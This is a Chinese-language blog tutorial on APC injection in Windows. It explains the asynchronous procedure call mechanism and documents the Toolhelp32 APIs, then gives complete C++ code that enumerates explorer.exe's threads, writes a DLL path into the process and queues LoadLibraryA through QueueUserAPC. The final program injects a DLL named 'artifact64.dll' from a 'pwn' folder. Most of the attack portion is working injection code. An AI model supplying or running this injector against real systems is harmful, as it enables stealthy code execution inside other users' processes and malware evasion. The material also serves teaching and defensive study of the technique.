• APC 注入


    APC 注入

    APC介绍

    1. APC(Asynchronous Procedure Calls,异步过程调用),APC是函数在特定的线程被异步执行。在Windows中APC是一种并发机制,用于异步的IO或定时器。当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非该线程处于可通知状态,调用的顺序为先入先出。

    2. 只有当一个线程内部调用SleepExSignalObjectAdndWaitWaitForSingleObjectExWaitForMultioleObjectsEx 等特定函数将自己处于挂起状态时,才会执行APC队列函数,在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态

    3. 每一个线程都有自己的APC队列(APC queue),可以使用API QueueUserAPC从而将一个APC插入到线程的APC队列中。线程会调用QueueUserAPC中指定的函数。只有将一个APC放入了线程的APC队列中,线程才有机会调用对应的APC函数。

    4. APC(Asynchronous Procedure Calls,异步过程调用),表示在指定线程上下文中异步调用一个函数(APC其实是通过向线程中插入回调函数来实现的,当线程调用上述API时,会触发APC的回调函数,执行回调函数的代码)。

    5. 由内核产生的APC称为内核态(kernel-mode)APC,而由用户应用调用的APC称为用户态(user-mode)APC。

    APC机制

    Windows APC

    APC机制详解

    小Win,点一份APC(Apc机制详解)(一)

    注入思路

    1. 当指定程序执行到某一个上面的等待函数的时候,系统会产生一个中断
    2. 当线程唤醒的时候, 这个线程会优先去APC队列中调用回调函数
    3. 利用QueueUserApc,往这个队列中插入一个回调
    4. 插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去要加载的Dll的地址

    首先通过OpenProcess()打开目标进程,获取进程句柄;然后通过函数CreateToolhelp32Snapshot()Thread32First()以及Thread32Next()遍历进程快照,获取目标进程的所有线程ID;紧接着调用VirtualAllocEx()在目标进程申请内存,通过WriteProcessMemory()向内存写入DLL的注入路径;最后,遍历线程ID,获取线程句柄。调用QueueUserAPC()向线程中插入APC函数,设置APC函数地址为LoadLibraryA()的地址。这样只要目标进程中任意线程被唤醒,便会执行APC,完成DLL注入。

    下面来看看用户态下的注入方式的代码实现,即Ring3层

    编码实现

    CreateToolhelp32Snapshot

    获取指定进程的快照,以及这些进程使用的堆、模块和线程。

    原型:

    HANDLE CreateToolhelp32Snapshot(
      DWORD dwFlags,
      DWORD th32ProcessID
    );
    

    参数

    dwFlags:

    要包含在快照中的系统部分。此参数可以是以下值中的一个或多个。

    th32ProcessID:

    要包含在快照中的进程的进程标识符。此参数可以为零以指示当前进程。当指定TH32CS_SNAPHEAPLISTTH32CS_SNAPMODULETH32CS_SNAPMODULE32TH32CS_SNAPALL值时使用此参数。否则,它将被忽略并且所有进程都包含在快照中。

    返回值

    如果该函数成功,则返回指定快照的打开句柄。

    Process32First

    检索有关系统快照中遇到的第一个进程的信息。

    原型:

    BOOL Process32First(
      HANDLE           hSnapshot,
      LPPROCESSENTRY32 lppe
    );
    

    参数

    hSnapshot:

    从上一次调用CreateToolhelp32Snapshot函数返回的快照句柄 。

    lppe:

    指向PROCESSENTRY32结构的指针 。它包含进程信息,例如可执行文件的名称、进程标识符和父进程的进程标识符。

    返回值

    如果进程列表的第一个条目已复制到缓冲区,则返回TRUE,否则返回FALSE。所述ERROR_NO_MORE_FILES误差值由返回 GetLastError函数功能如果不存在进程或快照不包含处理信息。

    Process32Next

    检索有关记录在系统快照中的下一个进程的信息。

    原型:

    BOOL Process32Next(
      HANDLE           hSnapshot,
      LPPROCESSENTRY32 lppe
    );
    

    参数

    hSnapshot:

    从上一次调用CreateToolhelp32Snapshot函数返回的快照句柄 。

    lppe:

    指向PROCESSENTRY32结构的指针 。

    返回值

    如果进程列表的下一个条目已复制到缓冲区,则返回TRUE,否则返回FALSE。所述ERROR_NO_MORE_FILES误差值由返回 GetLastError函数功能如果不存在进程或快照不包含处理信息。

    QueueUserAPC

    将用户模式异步过程调用 (APC) 对象添加到指定线程的 APC 队列。

    原型:

    DWORD QueueUserAPC(
      PAPCFUNC  pfnAPC,
      HANDLE    hThread,
      ULONG_PTR dwData
    );
    

    参数

    pfnAPC:

    指向应用程序提供的 APC 函数的指针,当指定的线程执行可警报的等待操作时将调用该函数。有关更多信息,请参阅 APCProc

    hThread:

    线程的句柄。句柄必须具有THREAD_SET_CONTEXT访问权限。

    dwData:

    传递给pfnAPC参数指向的 APC 函数的单个值。

    返回值

    如果函数成功,则返回值非零。

    如果函数失败,则返回值为零。

    PROCESSENTRY32 结构

    描述拍摄快照时驻留在系统地址空间中的进程列表中的条目。

    原型:

    typedef struct tagPROCESSENTRY32 {
      DWORD     dwSize;
      DWORD     cntUsage;
      DWORD     th32ProcessID;
      ULONG_PTR th32DefaultHeapID;
      DWORD     th32ModuleID;
      DWORD     cntThreads;
      DWORD     th32ParentProcessID;
      LONG      pcPriClassBase;
      DWORD     dwFlags;
      CHAR      szExeFile[MAX_PATH];
    } PROCESSENTRY32;
    
    dwSize
    
    结构的大小,以字节为单位。在调用Process32First函数之前 ,将此成员设置为sizeof(PROCESSENTRY32)。如果不初始化dwSize, Process32First 将失败。
    
    cntUsage
    
    此成员不再使用并且始终设置为零。
    
    th32ProcessID
    
    进程标识符。
    
    th32DefaultHeapID
    
    此成员不再使用并且始终设置为零。
    
    th32ModuleID
    
    此成员不再使用并且始终设置为零。
    
    cntThreads
    
    进程启动的执行线程数。
    
    th32ParentProcessID
    
    创建此进程的进程的标识符(其父进程)。
    
    pcPriClassBase
    
    此进程创建的任何线程的基本优先级。
    
    dwFlags
    
    此成员不再使用并且始终设置为零。
    
    szExeFile
    
    进程的可执行文件的名称。要检索可执行文件的完整路径,请调用Module32First函数并检查返回的MODULEENTRY32结构的szExePath成员。但是,如果调用进程是 32 位进程,则必须调用QueryFullProcessImageName函数来检索 64 位进程的可执行文件的完整路径。
    

    根据进程名获取PID

    int main() {
    	DWORD dwProcessId = 0;
    	PROCESSENTRY32 pe32 = { 0 };
    	HANDLE hSnapshot ;
    	BOOL bRet = FALSE;
    	::RtlZeroMemory(&pe32, sizeof(pe32));
    	pe32.dwSize = sizeof(pe32);
    
    	 char* pszProcessName = "explorer.exe";
    	
    	 //获取进程快照
    	 hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	 bRet = ::Process32First(hSnapshot, &pe32);
    	
    	 if (NULL == hSnapshot)
    	 {
    		 std::cout << "CreateToolhelp32Snapshot_Error" << std::endl;
    		
    		 return dwProcessId;
    	 }
    
    	 while (bRet)
    	 {				
    		 if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))//lstrcmpi对比相等则为0
    		 {
    			 //匹配到对于进程,赋值给dwProcessId
    			 dwProcessId = pe32.th32ProcessID;
    			 break;
    		 }
    
    		 bRet =  Process32Next(hSnapshot, &pe32);
    	 }
    	 std::cout<<dwProcessId << std::endl;
    
    }
    

    根据PID获取所有的相应线程ID

    int main() {
    	DWORD dwProcessId = 0;
    	char* pszProcessName = "explorer.exe";
    	DWORD* pThreadId = NULL;
    	DWORD dwThreadIdLength = 0;
    	DWORD dwBufferLength = 1000;
    	THREADENTRY32 te32 = { 0 };
    	HANDLE hSnapshot = NULL;
    	BOOL bRet = TRUE;
    
    	dwProcessId = GetProcessIdByProcessName(pszProcessName);
    
    	do {
    		// 申请内存
    		pThreadId = new DWORD[dwBufferLength];
    		if (NULL == pThreadId)
    		{
    			std::cout << "new Error" << std::endl;
    			bRet = FALSE;
    			break;
    		}
    		::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
    		::RtlZeroMemory(&te32, sizeof(te32));
    		te32.dwSize = sizeof(te32);
    
    		//创建线程快照
    		hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    		bRet = ::Thread32First(hSnapshot, &te32);
    
    		while (bRet)
    		{	
    			if (te32.th32OwnerProcessID == dwProcessId) {// 获取进程对应的线程ID
    				pThreadId[dwThreadIdLength] = te32.th32ThreadID;
    				dwThreadIdLength++;
    			}
    			// 遍历下一个线程快照信息
    			bRet = ::Thread32Next(hSnapshot, &te32);
    		}
    
    	} while (FALSE);
    
    	
    		std::cout << pThreadId << std::endl;
    }
    
    //结果18180
    

    APC注入

    int main() {
    	DWORD dwProcessId = 0;
    	
    	DWORD* pThreadId = NULL;
    	DWORD dwThreadIdLength = 0;
    	DWORD dwBufferLength = 1000;
    	THREADENTRY32 te32 = { 0 };
    	HANDLE hSnapshot = NULL;
    	BOOL bRet = TRUE;
    	LPVOID pBaseAddress;
    	HANDLE  hThread = NULL;
    	HANDLE hProcess;
    	FARPROC pLoadLibraryAFunc;
    	char* pszProcessName = "explorer.exe";
    	LPCSTR pszDllName = "dll1.dll";
    	SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
    	dwProcessId = GetProcessIdByProcessName(pszProcessName);
    	bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
    	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    	pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    	pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    	for (int i = 0; i < dwThreadIdLength; i++)
    	{
    		// 打开线程
    		hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
    		if (hThread)
    		{
    			// 插入APC
    			::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
    			// 关闭线程句柄
    			::CloseHandle(hThread);
    			hThread = NULL;
    		}
    	}
    }
    

    最终代码

    #include <Windows.h>
    #include <iostream>
    #include <TlHelp32.h>
    
    
    // 根据进程名称获取PID
    DWORD GetProcessIdByProcessName(char* pszProcessName);
    // 根据PID获取所有的相应线程ID
    BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* dwThreadIdLength);
    // APC注入
    BOOL ApcInjectDll(char* pszProcessName, char* pszDllName);
    
    void ShowError(char* pszText)
    {
    	char szErr[MAX_PATH] = { 0 };
    	::wsprintf(szErr, "%s Error[%d]
    ", pszText);
    	::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
    }
    
    
    // 根据进程名称获取PID
    DWORD GetProcessIdByProcessName(char* pszProcessName)
    {
    	DWORD dwProcessId = 0;
    	PROCESSENTRY32 pe32 = { 0 };
    	HANDLE hSnapshot = NULL;
    	BOOL bRet = FALSE;
    	::RtlZeroMemory(&pe32, sizeof(pe32));
    	pe32.dwSize = sizeof(pe32);
    
    	// 获取进程快照
    	hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	if (NULL == hSnapshot)
    	{
    		ShowError("CreateToolhelp32Snapshot");
    		return dwProcessId;
    	}
    
    	// 获取第一条进程快照信息
    	bRet = ::Process32First(hSnapshot, &pe32);
    	while (bRet)
    	{
    		// 获取快照信息
    		if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
    		{
    			dwProcessId = pe32.th32ProcessID;
    			break;
    		}
    
    		// 遍历下一个进程快照信息
    		bRet = ::Process32Next(hSnapshot, &pe32);
    	}
    
    	return dwProcessId;
    }
    
    
    // 根据PID获取所有的相应线程ID
    BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
    {
    	DWORD* pThreadId = NULL;
    	DWORD dwThreadIdLength = 0;
    	DWORD dwBufferLength = 1000;
    	THREADENTRY32 te32 = { 0 };
    	HANDLE hSnapshot = NULL;
    	BOOL bRet = TRUE;
    
    	do
    	{
    		// 申请内存
    		pThreadId = new DWORD[dwBufferLength];
    		if (NULL == pThreadId)
    		{
    			ShowError("new");
    			bRet = FALSE;
    			break;
    		}
    		::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
    
    		// 获取线程快照
    		::RtlZeroMemory(&te32, sizeof(te32));
    		te32.dwSize = sizeof(te32);
    		hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    		if (NULL == hSnapshot)
    		{
    			ShowError("CreateToolhelp32Snapshot");
    			bRet = FALSE;
    			break;
    		}
    
    		// 获取第一条线程快照信息
    		bRet = ::Thread32First(hSnapshot, &te32);
    		while (bRet)
    		{
    			// 获取进程对应的线程ID
    			if (te32.th32OwnerProcessID == dwProcessId)
    			{
    				pThreadId[dwThreadIdLength] = te32.th32ThreadID;
    				dwThreadIdLength++;
    			}
    
    			// 遍历下一个线程快照信息
    			bRet = ::Thread32Next(hSnapshot, &te32);
    		}
    
    		// 返回
    		*ppThreadId = pThreadId;
    		*pdwThreadIdLength = dwThreadIdLength;
    		bRet = TRUE;
    
    	} while (FALSE);
    
    	if (FALSE == bRet)
    	{
    		if (pThreadId)
    		{
    			delete[]pThreadId;
    			pThreadId = NULL;
    		}
    	}
    
    	return bRet;
    }
    
    
    // APC注入
    BOOL ApcInjectDll(char* pszProcessName, char* pszDllName)
    {
    	BOOL bRet = FALSE;
    	DWORD dwProcessId = 0;
    	DWORD* pThreadId = NULL;
    	DWORD dwThreadIdLength = 0;
    	HANDLE hProcess = NULL, hThread = NULL;
    	PVOID pBaseAddress = NULL;
    	PVOID pLoadLibraryAFunc = NULL;
    	SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
    	DWORD i = 0;
    
    	do
    	{
    		// 根据进程名称获取PID
    		dwProcessId = GetProcessIdByProcessName(pszProcessName);
    		if (0 >= dwProcessId)
    		{
    			bRet = FALSE;
    			break;
    		}
    
    		// 根据PID获取所有的相应线程ID
    		bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
    		if (FALSE == bRet)
    		{
    			bRet = FALSE;
    			break;
    		}
    
    		// 打开注入进程
    		hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    		if (NULL == hProcess)
    		{
    			ShowError("OpenProcess");
    			bRet = FALSE;
    			break;
    		}
    
    		// 在注入进程空间申请内存
    		pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    		if (NULL == pBaseAddress)
    		{
    			ShowError("VirtualAllocEx");
    			bRet = FALSE;
    			break;
    		}
    		// 向申请的空间中写入DLL路径数据 
    		::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
    		if (dwRet != dwDllPathLen)
    		{
    			ShowError("WriteProcessMemory");
    			bRet = FALSE;
    			break;
    		}
    
    		// 获取 LoadLibrary 地址
    		pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    		if (NULL == pLoadLibraryAFunc)
    		{
    			ShowError("GetProcessAddress");
    			bRet = FALSE;
    			break;
    		}
    
    		// 遍历线程, 插入APC
    		for (i = 0; i < dwThreadIdLength; i++)
    		{
    			// 打开线程
    			hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
    			if (hThread)
    			{
    				// 插入APC
    				::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
    				// 关闭线程句柄
    				::CloseHandle(hThread);
    				hThread = NULL;
    			}
    		}
    
    		bRet = TRUE;
    
    	} while (FALSE);
    
    	// 释放内存
    	if (hProcess)
    	{
    		::CloseHandle(hProcess);
    		hProcess = NULL;
    	}
    	if (pThreadId)
    	{
    		delete[]pThreadId;
    		pThreadId = NULL;
    	}
    
    	return bRet;
    }
    
    
    int main() {
    	BOOL bRet = FALSE;
    
    	// APC注入
    #ifdef _WIN64
    	bRet = ApcInjectDll("explorer.exe", "C:\Users\xr\Desktop\pwn\artifact64.dll");
    #else
    	bRet = ApcInjectDll("explorer.exe", "C:\Users\xr\Desktop\pwn\artifact.dll");
    #endif
    	if (bRet)
    	{
    		printf("APC Inject OK.
    ");
    	}
    	else
    	{
    		printf("APC Inject ERROR.
    ");
    	}
    
    	system("pause");
    	return 0;
    
    }
    

    参考

    https://www.cnblogs.com/sakura521/p/15240706.html

  • 相关阅读:
    A4纸网页打印 html网页页面的宽度设置成多少
    怎样使用 css 的@media print控制打印
    jquery 表格自动拆分(方便打印)插件-printTable
    【转】编写高质量代码改善C#程序的157个建议——建议107:区分静态类和单例
    【转】编写高质量代码改善C#程序的157个建议——建议106:为静态类添加静态构造函数
    【转】编写高质量代码改善C#程序的157个建议——建议104:用多态代替条件语句
    【转】编写高质量代码改善C#程序的157个建议——建议103:区分组合和继承的应用场合
    【转】编写高质量代码改善C#程序的157个建议——建议102:区分接口和抽象类的应用场合
    【转】编写高质量代码改善C#程序的157个建议——建议101:使用扩展方法,向现有类型“添加”方法
    【转】编写高质量代码改善C#程序的157个建议——建议100:静态方法和实例方法没有区别
  • 原文地址:https://www.cnblogs.com/nice0e3/p/15318330.html
Copyright © 2020-2023  润新知